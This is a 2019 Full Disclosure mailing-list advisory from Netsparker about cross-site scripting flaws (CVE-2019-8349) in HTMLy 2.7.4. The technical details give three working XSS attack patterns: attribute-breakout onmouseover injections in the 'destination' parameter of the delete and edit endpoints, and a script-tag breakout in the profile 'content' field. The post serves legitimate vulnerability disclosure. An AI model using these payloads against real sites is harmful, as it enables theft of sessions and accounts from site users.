full-disclosure - [FD] Multiple Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4

Open Source and information security mailing list archives

Date: Mon, 18 Feb 2019 10:39:38 +0100
From: Daniel Bishtawi <daniel@...sparker.com>
To: fulldisclosure@...lists.org
Subject: [FD] Multiple Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4

Hello,

We are glad to inform you about the vulnerabilities we reported in HTMLy
2.7.4.

Here are the details:

Advisory by Netsparker
Name: Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4
Affected Software: HTMLy
Affected Versions: 2.7.4
Homepage: https://github.com/danpros/htmly
Vulnerability: Cross-Site Scripting
Severity: High
Status: Not Fixed
CVE-ID: CVE-2019-8349
CVSS Score (3.0): CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-059

Technical Details:

URL
http://ns.app/ScanApp/htmly/2018/04/test-image-post/delete?destination=x"
onmouseover=netsparker(0x004191) x="
Parameter Name  destination
Parameter Type  GET
Attack Pattern  x%22+onmouseover%3dnetsparker(0x004191)+x%3d%22

URL  http://ns.app/ScanApp/htmly/2018/04/test-image-post/edit?destination=x"
onmouseover=netsparker(0x00409D) x="
Parameter Name  destination
Parameter Type  GET
Attack Pattern  x%22+onmouseover%3dnetsparker(0x00409D)+x%3d%22

URL  http://ns.app/ScanApp/htmly/author/kanti
Injection URL  http://ns.app/ScanApp/htmly/edit/profile
Parameter Name  content
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x005D63)</scRipt>

For more information and the Technical Details:
https://www.netsparker.com/web-applications-advisories/ns-18-059-cross-site-scripting-in-htmly/

Regards,

Daniel Bishtawi
Marketing Administrator | Netsparker Web Application Security Scanner
Tel: +44 (0)20 3588 3843
Follow us on Twitter <https://twitter.com/netsparker> | LinkedIn
<https://www.linkedin.com/company/netsparker-ltd> | Facebook
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<https://www.netsparker.com/blog/events/exhibiting-rsa-conference-san-francisco-usa-2019/>

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